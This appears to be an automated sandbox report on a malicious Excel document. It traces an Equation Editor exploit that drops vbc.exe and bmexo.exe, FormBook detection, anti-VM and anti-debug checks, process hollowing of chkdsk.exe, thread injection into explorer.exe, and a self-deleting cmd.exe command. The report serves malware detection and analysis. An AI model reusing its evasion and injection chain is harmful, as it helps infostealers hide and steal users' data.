Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6595.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@11/16@0/1

Source: C:\Users\Public\vbc.exe

Code function: 4_2_004021AA CoCreateInstance,

4_2_004021AA

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_00404ABB GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

4_2_00404ABB

Source: explorer.exe, 00000007.00000000.1012455681.0000000003B10000.00000002.00000001.00040000.00000000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: C:\wxiwy\cojnmd\dyrz\70c437f178a447d5b5e03abf78ad86d5\khqwan\zzevlnko\Release\zzevlnko.pdb source: vbc.exe, 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmp, bmexo.exe, 00000005.00000002.979347417.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000005.00000000.968231879.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, bmexo.exe, 00000006.00000000.974589862.0000000000F2E000.00000002.00000001.01000000.00000005.sdmp, chkdsk.exe, 00000008.00000002.1174039918.0000000002887000.00000004.10000000.00040000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173217045.00000000003B3000.00000004.00000020.00020000.00000000.sdmp, nsmD99.tmp.4.dr, bmexo.exe.4.dr
Source:	Binary string: chkdsk.pdb source: bmexo.exe, 00000006.00000002.1050114953.0000000000030000.00000040.10000000.00040000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050401037.0000000000714000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: bmexo.exe, bmexo.exe, 00000006.00000003.981359909.0000000000800000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000003.979000602.00000000002B0000.00000004.00000800.00020000.00000000.sdmp, bmexo.exe, 00000006.00000002.1051582479.0000000000B10000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 00000008.00000002.1173724762.0000000002500000.00000040.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1050200391.0000000002090000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000003.1051411235.00000000021F0000.00000004.00000800.00020000.00000000.sdmp, chkdsk.exe, 00000008.00000002.1173489046.0000000002380000.00000040.00000800.00020000.00000000.sdmp

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D01A4 push 28D37A0Fh; iretd	2_2_035D01B1
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D0126 push 28D37A0Fh; iretd	2_2_035D01B1
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F22445 push ecx; ret	5_2_00F22458
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_004172EC push DC386EC8h; ret	6_2_00417309
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0040FCF7 push ebp; ret	6_2_0040FCF8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D662 push eax; ret	6_2_0041D668
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D66B push eax; ret	6_2_0041D6D2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D615 push eax; ret	6_2_0041D668
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_0041D6CC push eax; ret	6_2_0041D6D2
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F22445 push ecx; ret	6_2_00F22458
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0239DFA1 push ecx; ret	8_2_0239DFB4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000A72EC push DC386EC8h; ret	8_2_000A7309
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD615 push eax; ret	8_2_000AD668
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD66B push eax; ret	8_2_000AD6D2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD662 push eax; ret	8_2_000AD668
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_000AD6CC push eax; ret	8_2_000AD6D2
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_0009FCF7 push ebp; ret	8_2_0009FCF8

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe	Jump to dropped file
Source: C:\Users\Public\vbc.exe	File created: C:\Users\user\AppData\Local\Temp\bmexo.exe	Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035D050B URLDownloadToFileW,ShellExecuteExW,ExitProcess,

2_2_035D050B

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F21890 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_00F21890

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

graph_5-7746

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	RDTSC instruction interceptor: First address: 0000000000408C04 second address: 0000000000408C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	RDTSC instruction interceptor: First address: 0000000000408F9E second address: 0000000000408FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 0000000000098C04 second address: 0000000000098C0A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 0000000000098F9E second address: 0000000000098FA4 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1320

Thread sleep time: -480000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\chkdsk.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_5-6885

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 6_2_00408ED0 rdtsc

6_2_00408ED0

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405D7A CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405D7A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004069A4 FindFirstFileW,FindClose,	4_2_004069A4
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,	4_2_0040290B

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-627
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-683
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	API call chain: ExitProcess graph end node	graph_2-665
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node	graph_4-3510
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	API call chain: ExitProcess graph end node	graph_5-6886

Source: explorer.exe, 00000007.00000000.1002012184.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000e
Source: explorer.exe, 00000007.00000000.994421316.000000000869E000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.987724559.00000000002AF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]
Source: explorer.exe, 00000007.00000000.1034386831.000000000037B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.08tp
Source: explorer.exe, 00000007.00000000.989955788.0000000004423000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000007.00000000.1041586211.000000000434F000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: ide\cdromnecvmwar_vmware_sata_cd01_______________1.00____\6&373888b8&0&1.0.0Q
Source: explorer.exe, 00000007.00000000.1002012184.00000000043F0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: v6nel\5&35c44269e\cdromnvmware_sata_
Source: explorer.exe, 00000007.00000000.1009149384.0000000000335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}(

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F27A95 IsDebuggerPresent,

5_2_00F27A95

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F2558A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

5_2_00F2558A

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F286ED __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

5_2_00F286ED

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 6_2_00408ED0 rdtsc

6_2_00408ED0

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035D0591 mov edx, dword ptr fs:[00000030h]	2_2_035D0591
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_001603F8 mov eax, dword ptr fs:[00000030h]	5_2_001603F8
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_0016061D mov eax, dword ptr fs:[00000030h]	5_2_0016061D
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_001606F7 mov eax, dword ptr fs:[00000030h]	5_2_001606F7
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00160736 mov eax, dword ptr fs:[00000030h]	5_2_00160736
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00160772 mov eax, dword ptr fs:[00000030h]	5_2_00160772
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_009B26F8 mov eax, dword ptr fs:[00000030h]	6_2_009B26F8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_02380080 mov ecx, dword ptr fs:[00000030h]	8_2_02380080
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023800EA mov eax, dword ptr fs:[00000030h]	8_2_023800EA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 8_2_023A26F8 mov eax, dword ptr fs:[00000030h]	8_2_023A26F8

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 6_2_0040A140 LdrLoadDll,

6_2_0040A140

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F243CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_00F243CC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 5_2_00F2439B SetUnhandledExceptionFilter,	5_2_00F2439B
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F243CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00F243CC
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Code function: 6_2_00F2439B SetUnhandledExceptionFilter,	6_2_00F2439B

HIPS / PFW / Operating System Protection Evasion

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Section unmapped: C:\Windows\SysWOW64\chkdsk.exe base address: 80000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Memory written: C:\Users\user\AppData\Local\Temp\bmexo.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Thread register set: target process: 1860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Thread register set: target process: 1860	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Thread register set: target process: 1860	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bmexo.exe	Process created: C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\bmexo.exe C:\Users\user\AppData\Local\Temp\fmrfya	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\bmexo.exe"	Jump to behavior

Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.997360427.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1009986112.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.983528544.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.1034341934.0000000000335000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.1034648528.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.997360427.0000000000830000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.1009986112.0000000000830000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager<

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F23283 cpuid

5_2_00F23283

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bmexo.exe

Code function: 5_2_00F23EC8 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

5_2_00F23EC8

Source: C:\Users\Public\vbc.exe

4_2_00403646

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 6.0.bmexo.exe.400000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.bmexo.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.bmexo.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.bmexo.exe.400000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.977269250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1173044498.0000000000300000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.976211361.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1007465925.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172863395.0000000000090000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.979111122.0000000000170000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050132752.00000000000F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.1020176757.000000000A9D3000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1050307444.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1172976610.0000000000200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	Path Interception	1 Access Token Manipulation	111 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	11 Native API	Boot or Logon Initialization Scripts	512 Process Injection	2 Virtualization/Sandbox Evasion	LSASS Memory	151 Security Software Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	33 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Shared Modules	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	22 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	512 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	121 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
